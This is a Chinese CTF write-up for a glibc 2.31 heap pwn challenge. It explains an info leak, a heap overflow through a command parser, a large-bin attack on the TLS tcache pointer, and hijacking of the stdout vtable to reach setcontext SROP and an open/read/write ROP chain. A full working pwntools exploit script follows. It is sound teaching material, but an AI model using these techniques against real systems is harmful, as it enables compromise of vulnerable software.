glibc2.31下通过IOAttack开启ROP

程序分析

• 每次开始前会检查两个hook

• Add会情况tcache

• Delete就是正常的删除


• View会根据strlen的结果输出


• Edit则是根据命令来的

• Gift则会安装下面的命令解析, 有一个向上的堆溢出

思路

• 虽然输入时进行了00阶段, 但是Edit写入时没有00阶段 把一个chunk放入LargeBin然后再申请出来, 然后利用Edit覆盖掉00再通过View就可以得到libc地址和heap地址


• Gift没有限制p的上限因此是存在堆溢出的, 但是Gift只读入0x100, 而chunk最少0x400, 所以必须要写一个循环的小程序实现:
  
  
  
  • [会判断note[idx][p]是否为00, 如果是00的话就跳转到]后面一个位置, 如果不是则什么也不做相当于nop
  
  
  • 因此把chunk全部用AAA填充, 然后Gift执行[>], 就可以跳过所有的非空字符, 然后利用多个,>解析堆溢出
  
  
  
  


• 有了堆溢出之后由于限制了size>0x400, 所以就想LargeBinAttack,在rtld_global中写入一个heap地址, 劫持fini_arr段, 在exit时触发getshell, 但是找了半天发现程序没用exit(), 调用的都是_exit(), 所以就只能放弃


• exit()无法利用, 并且hook会有检查, 翻一下题目发现会时不时的调用printf() getchar() 等IO相关函数, 因此就只能进行IOAttack了.


• 可是只有一个堆地址写入无法完成IOAttack, 必须扩大战果, 后来发现一个比较鸡贼的地方, size>0x400包含一个0x410的大小, 而0x410就是tcache能管理的最大的size了. 所以利用LargeBinAttack直接打TLS段中的tcache指针, 劫持tcache->next[0x410]这个链表的链表, 从而实现任意写. 同时Add每次覆盖的都是原来的tcache对象, 不会影响劫持的, 然后就可以开启IOAttack了


• 2.31下的IOAttack是比较简单的, 虽然不能劫持虚表指针, 但是stdin/ stdout/ stderrr三个标准流使用虚表位于一个可写入段, 可以直接利用tcache去覆盖虚表中的函数指针为OGG, 然后调用getchar()或者printf()函数, 直接getshell


• 但是后续发现禁用了execve(), 因此只能想办法通过IOAttack进行ROP, 后续发现getchar()的虚表调用指令是mov rax, [虚表+偏移]; jmp rax也就是说rax中就是指令地址, 这种跳转是无法通过GG去控制更多寄存器的, 而printf()的虚表调用指令为lea rax, [虚表+偏移]; jmp [rax]跳转之后rax残留的指针指向虚表区域, 也就是我们可控的位置, 是有希望通过rax控制更多寄存器的.


• 但是我利用了一个更巧妙的方法来进行ROP, 虚表中调用的函数有一个特点: 函数的第一个参数就IO_FILE对象自己, 对于printf来说, 如果能够控制IO_2_1_stdout为SigreturnFrame并且控制_IO_file_jumps中__overflow函数为setcontext就可以开启ROP,


• 这就要求Tcache任意写两次, 可是我们只能申请一个属于tcache的size, 但是如何要写入的地方存在一个执行下一个要写入地址的指针, 就可以直接伪造一个包含2个chunk的0x410的tcache链表, 这个条件是否存在呢?结果时存在的


• stdout使用的虚表同时被stdin stdout stderr三个流使用, 并且有一个特点: stderr正好高就位于stdout上方不远处
  

• 也就是说可以把令tcache->next[0x410] = &stderr->vtable,
  
  
  
  • malloc(0x408)首先会申请到stderr的vtable指针所在位置, 向后8字节就是stdout
  
  
  • 取出chunk1时有: tcache->next[0x410] = (&stderr->vtable)->next = vtabele,
  
  
  • 因此再次malloc(0x408)就可以申请到stdout使用的虚表, 完成劫持
  
  
  
  

• 至此我们可以控制rdi与rip, 直接覆盖函数指针为setcontext就可以开启SROP.


• 但是我想额外说明一下SROP时rdi与rdx的问题. 2.27一下的libc中setcontext函数全称使用的都是rdi, 但是在2.31中setcontext设置寄存器部分的使用的是rdx设置寄存器

• 当我们只能控制rdi与rip时有两种绕过思路
  
  
  
  • rdi设置为frame地址, 调用setcontext(). 但是必须要设置保存浮点状态的指针frame['&fpstate']部分为一个可读写的地址, 这样直接执行setcontext()是没问题的
  
  
  • 第二种是寻找一个通过rdi设置rdx与rip的GG, 利用这个GG中转一下, 把rdi与rip的控制权转换为rdx与rip的控制权, 然后跳转到setcontext+61处, 不执行fldenv指令, 直接进入到设置通用寄存器的部分
  
  
  
  

• 我个人更喜欢第一种思路, 只需要顺便设置一个可读可写地址, 就不用费心思中转了

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote(host, port)
def Num(n):
sh.send(str(n).ljust(0x10, '\x00'))
def Cmd(n):
sh.recvuntil('>> \n')
Num(n)
def Add(sz, cOnt=''):
if(cOnt==''):
cOnt= 'A'*sz
Cmd(1)
sh.recvuntil('Size: ')
Num(sz)
sh.recvuntil('Message: ')
sh.send(cont)
def Delete(idx):
Cmd(2)
sh.recvuntil('Index: ')
Num(idx)
def View(idx):
Cmd(3)
sh.recvuntil('Index: ')
Num(idx)
def Edit(idx, cont):
Cmd(4)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Code :')
sh.send(cont)
def Gift(idx, cont):
Cmd(5)
sh.recvuntil('Index: ')
Num(idx)
sh.recvuntil('Code :')
sh.send(cont)
def Exit():
Cmd(6)
def GDB():
gdb.attach(sh, '''
telescope (0x0000555555554000+0x204050) 16
break *(0x0000555555554000+0x1c1c)
break *0x7ffff7e520cf
break *0x7ffff7e4ea26
''')
# A用来泄露地址, DF属于同一个LargeBin用于进行LargeBinAttack, E用于隔开DF防止合并, C用于溢出D
Add(0x420) #A
Add(0x408) #B
Add(0x407) #C
Add(0x460) #D
Add(0x408) #E
Add(0x450) #F
Add(0x408)
#先把A放入LargeBin中再取出来使其残留相关地址
Delete(0) #UB<=>A
Add(0x500) # 整理到LB中, LB<=>A
Delete(0)
Add(0x420, 'A') #get A again
#覆盖00截断, 读出bk获取libc地址
Edit(0, '&('*0x8+'\n')
sh.send('A'*8)
View(0)
sh.recvuntil('A'*8)
libc.address = u64(sh.recv(6)+b'\x00\x00')-0x1ebbe0-0x3f0
Log('libc.address')
#覆盖00阶段的部分, 读出fd_nextsize获取heap地址, 后续发现其实没heap地址也可以
Edit(0, '&('*0x10+'\n')
sh.send('A'*0x10)
View(0)
sh.recvuntil('A'*0x10)
heap_addr = u64(sh.recv(6)+b'\x00\x00')-0x2b0
print(hex(heap_addr))
#后续LargeBinAttack时会覆盖TLS的tcache指针为F的地址, 因此预先在F中伪造一个tcache对象
Delete(5)
exp = b'\x02'*0x268 # 一个链表有2个chunk
exp+= p64(libc.address+0x1ec698) #同时控制stdout与虚表的关键: Tcache[0x410] = &stderr->vtable
exp = exp.ljust(0x450, b'\x00')
Add(0x450, exp) #申请时写入, 因此Edit用起来不太方便
#先把同一个Largebin中更大的那一个放入Largebin中, 因为LargeBinAttack在 要整理的chunk是所属Largebin最小chunk时 发生
Delete(3)
Add(0x500) #LB<=>D
#进行堆溢出, 覆盖D->bk_nextsize = tcache@TLS - 0x20
exp = '[>]'+('>,')*0x29+'\n'
Gift(2, exp)
sh.send(b'A'+flat(0x471, libc.address+0x1ebfe0, libc.address+0x1ebfe0, 0, libc.address+0x1f34f0-0x20))
#把D整理到所属Largebin中, 触发LargeBinAttack, 劫持Tcache
Delete(5) #UB<=>D, LB<=>F
Add(0x500)
#至此我们有Tcache-> (stdout-0x8) -> (_IO_file_jumps)
#先申请出来的chunk位于stdout附近, 因此要在这里布置好SigreturnFrame, 同时要保存原有数据, 不能干扰正常的调用虚表函数的逻辑
exp =flat(0) #stderr->vtable
exp+= flat(0xfbad2087) #stdout
for i in range(12):
exp+= flat(i)
ret = libc.address+ 0x25679
buf = libc.address+0x1ec878
rdi = libc.address+0x26b72
rsi = libc.address+0x27529
rdx = libc.address+0x11c371 #pop rdx; pop r12; ret;
exp+= flat(libc.address+0x1eb980)
exp+= flat(0x101, 0x102, 0x103)
exp+= flat(libc.address+0x1ee4c0)
exp+= flat(0x201, 0x202)
exp+= flat(libc.address+0x1ec790) # frame['rsp'], 指向后面的rop部分
exp+= flat(ret) # frame['rip']
exp+= flat(0x302, 0x303, 0xffffffff, 0x305, 0x306)
exp+= flat(libc.address+0x1ed4a0)
exp+= flat(libc.address+0x1ec5c0)
exp+= flat(libc.address+0x1ec6a0)
#要执行的ROP
rop = flat(rdi, buf, rsi, 0, libc.symbols['open'])
rop+= flat(rdi, 3, rsi, buf, rdx, 0x30, 0, libc.symbols['read'])
rop+= flat(rdi, 1, rsi, buf, rdx, 0x30, 0, libc.symbols['write'])
exp+= rop.ljust(208, b'\x00')
exp+= flat(0, 0, 0)
exp+= b'./flag\x00'
#覆盖stdout
Add(0x408, exp) #alloc to stdout
#再次申请覆盖就是虚表了, 直接覆盖为setcontext就好
exp = cyclic(0x38)
exp+= flat(libc.symbols['setcontext'])
Add(0x408, exp) #alloc to vtable
#然后调用printf触发ROP
Edit(1, 'A\x00')
sh.interactive()